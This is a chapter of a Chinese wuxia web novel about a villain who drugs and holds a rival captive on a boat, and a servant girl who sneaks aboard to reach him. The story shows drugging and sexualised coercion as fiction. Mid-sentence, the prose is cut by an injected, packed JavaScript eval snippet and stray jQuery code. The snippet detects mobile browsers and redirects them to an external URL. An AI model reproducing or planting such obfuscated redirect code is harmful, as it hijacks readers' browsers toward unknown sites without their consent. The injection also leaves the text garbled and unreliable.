鉴宝大会次晨。
江水汤汤,两侧青山连绵,重峦叠嶂,一艘宽大货船逆流而行,船头破开的水浪碎银翻卷,岸边惊飞起几只白鹭,扑棱着翅膀掠过水面。
三两船工在甲板上忙碌,看起来和普通货船毫无区别。甲板之下,随处可见带刀执剑的黑衣汉子,腰上别着莲纹令牌,个个一脸匪气面色不善,把守在各处紧要位置。
偶尔有船工经过客舱,他们便用刀鞘敲打舱壁,发出沉闷的声响,警告这些人无事不可靠近。
最里一间客房,开门便见里头别有天地,桌椅床榻尽为金楠所制,一寸一金的暗金色软烟罗轻盈垂地,目之所及极尽奢华,角落里摆着青铜狮香炉,白雾轻吐,蒸腾起熏人欲醉的浓郁糜香。
厚重帘幔后,床榻上正躺着一名容色惊人的白衣公子,长发散乱,雪色缨穗垂落枕边,长睫覆羽,薄唇殷红,衬得面色白如透明。
晨光透过窗隙漏进来,在他脸上织出细碎的光斑,一眼望去似玉山沉憩,令人几乎忘记如何呼吸。
望着这幕场景良久,秦仲渊才走近榻边,垂目贪婪地逡巡过这张面容。
用时多月,他费尽心机,不惜以伏龙山河图这等宝物作局,方换来眼下这刻,素来随心所欲的他竟也生出两分近情情怯。
“骨重神寒天庙器,一双瞳人剪秋水……”
他低声喃喃,高大身躯缓缓坐在床畔,左手想要抚上那张脸,熟料榻上人的眼睛蓦然睁开,一双漂亮的丹凤眸如淬霜雪,清凌凌不见半点睡意。
见秦仲渊僵住,元霁月掀动薄唇,却只发出嘶嘶气声。
他不由极快眨了两下眼,想抬起手臂,却发现连指尖都无法动弹——此刻,锦被下的身躯像是被无形的锁链束缚,能做的动作只有呼吸与眨眼。
尽管刚刚才醒,对这种手无缚鸡之力的处境毫无经验,可元霁月瞬间明白了,自己不仅落入敌手,更是陷入极其危险的境地。
当下,元霁月的目光骤然暗沉,阖上眼,完全不想理会跟前神色激动怪异的男子。
而秦仲渊亦反应过来,跟前这人中了魔教秘药醉梦软骨香,此时内力全无毫无抵抗之力,三天内甚至连说话都很难做到,他实在无须多虑。
想到此,他不由得低笑一声。
早在那日茶铺里,被他以亲人威胁的星若终究妥协,赶在最后时限前派人送来密信,他便在期待今天了,如今心愿达成……
谁想到下一刻,看似平静的榻上人闷哼了声,唇角蓦地流出一缕血线,顺着苍白的下颌滑落。元霁月额角渗出细密冷汗,呼吸瞬间微弱下去。
秦仲渊毫无防备,浓眉紧蹙,迅速出手封住他各处大穴。
“别运功了,你中的是醉梦软骨香,此药无药可解,除非三月之后药力退却,不然你运功只会精血逆流元气大伤。”
他嗓音低沉,透着两分怜惜,八分威胁。
作为对手,世上没人比他更清楚此人武功之高深,远超同辈,以他能力,秦仲渊自然得有万全把握,才敢把人留在身旁。
看他仍然闭目不肯见他,唇角血渍映着雪肤好生刺目,秦仲渊心底既怜惜也透着莫名快意。
“霁月,你想知道你是怎么中的这软骨香么?”
他倾下身,在他耳边低语:
“是你最信重的大侍女,星若,接了本座送给她的药引,下在你的随身之物上……只等鉴宝大会,那副伏龙山河图上的颜料受热融化,藏在里面的异香散发出来,便会瞬间将你身上的药引激发……”
饶是这般,榻上人也毫无反应,仿佛身边人的背叛,从云端跌落深渊的处境,尽皆无法动摇他的内心。
秦仲渊忽而恼怒,伸手就按在他唇上,感觉身下人乍然一颤,指下温热细腻,犹如抚摸一块极品羊脂玉,心头涌出欢喜和痛快,沿着他的唇线暧.昧摩挲。
“霁月,当年你劈碎我手中剑时,必然没想到会有今日罢。”
秦仲渊沉声哼笑,恶劣地将指尖探入那双殷红色薄唇内。
“眼下,一切皆成定局,‘元三公子’另有其人,元家你已回不得了,就算你再不甘愿,这世上,除本座身畔,你注定无处可去。”
即便榻上人额角绷起青筋,极力隐忍、不肯露出弱态供他取乐,秦仲渊不觉无趣,反倒将指尖的血丝用力抹在那双薄唇上,将那抹殷红揉得愈发艳丽——
衬着面容一触即碎的苍白,更令榻上人多出种魔魅般的俊美。
望见这幕,秦仲渊心头猛跳,为免现在就失控,他强迫自己收手,站起身,暗金色衣摆垂落靴边,居高临下俯视。
“霁月,本座素来不愿强人所难,唯独对你一再破例。事到如今,我再给你三日时间,你应当知道怎么做,别逼我忍无可忍,最后做出伤害你的事。”
*
另一头。
自从观察到负责杂务的船工,和绑人的黑衣人是两批人,且互不熟认后,小鱼就为了怎么伪装成船工,继而取得其他人的信任绞尽脑汁。
她先将头发挽成男式发髻,用锅灰抹黑了脸,又在衣服里塞了些破布,让自己看起来更壮实些,乍看和那些沉默寡言的船工没两样。
赶在厨房最忙乱的时候,她悄悄混进厨工中,闷不吭声就把最脏累的杀鱼刮鳞、砍柴禾、倒潲水等活接过去。
等
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536632|170896||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
兵荒马乱忙活完一通,众人闲下来吃午饭,这才发现她这个生面孔。
面对其余厨工疑惑目光,小鱼早有准备,塌肩作出一副窝囊样,犹犹豫豫拿出那块铜金色令牌——她早就观察过,这令牌上的纹路和黑衣人腰牌上的一模一样,而且等级应该更高些。
“听说厨房人少忙不过来,那些穿黑衣的大爷们就在码头上招了我来,还给了我这块牌子,说是船上的通行证……”
一见这纹路和颜色,其他厨工唬了一跳,面面相觑,脸上不约而同露出畏惧:这小子手里的金色令牌,可是执事头子才有的,此人怕不是有点门路。
多一事不如少一事,谁也不敢为了这人去和那些杀人不眨眼的黑衣人验证,于是她的出现不了了之。
如此这般,三分努力七分运气,她很快成功伪装成伙房里的小杂工一名,主动承担最脏最累的活计,再没人对她的身份有半点意见。
忙忙碌碌到晚上,才能歇上口气。小鱼蹲在灶台边添柴,边干活边看着跳动的火苗发呆,心里急切忧虑,但又知道急也没用。
无论如何,现在她是成功混上船了,只要三公子人还在这里,早晚都能打听出来,眼下什么都不知道,擅自行动的话,一旦暴露身份就都完了。
这般安抚着自己,不知不觉就到吃饭的点,陆陆续续有各处值守的黑衣人前来厨房提饭。
除了粗糙的大锅饭,小鱼还注意到,厨工们应该是受了吩咐,特意单独做了份清粥小食,装在精致食盒里,来拿饭的黑衣人也是格外高大彪悍,慢吞吞最后才来。
黑衣人随手把食盒拎起,正要离开,突然想起什么,拍了拍脑袋。
“对了,那人动弹不了,还得找个人伺候,真是麻烦。”嘴上发着牢骚,此人扫视厨房一圈,看中瘦瘦小小的她,当即指过来。
“就你,提着食盒,跟我过来。”
猛然意识到什么,小鱼心跳如鼓,强装镇定,唯唯诺诺地跟上去。
黑衣人在前引路,他们往客舱深处走,几乎每隔十步就能遇见几个虎背熊腰的黑衣汉子。小鱼想起那个煞气十足的刀疤脸汉子,死死埋下头,生怕撞见此人暴露自己的身份。
还好路上碰见的巡逻人员级别都低,没资格跟在主子身边,也就没有人见过她。
一路有惊无险地被领到最深处的那间房,黑衣人威胁她几句,“不要多看多说多问”“服侍那人用饭后就马上出来,不然小心脑袋不保”,一把将她推进去。
砰地门扇合上。
小鱼站在原地,环视过屋里再无他人,于是深吸口气,快步转过屏风,一眼就发现了榻上阖目平躺的白衣公子。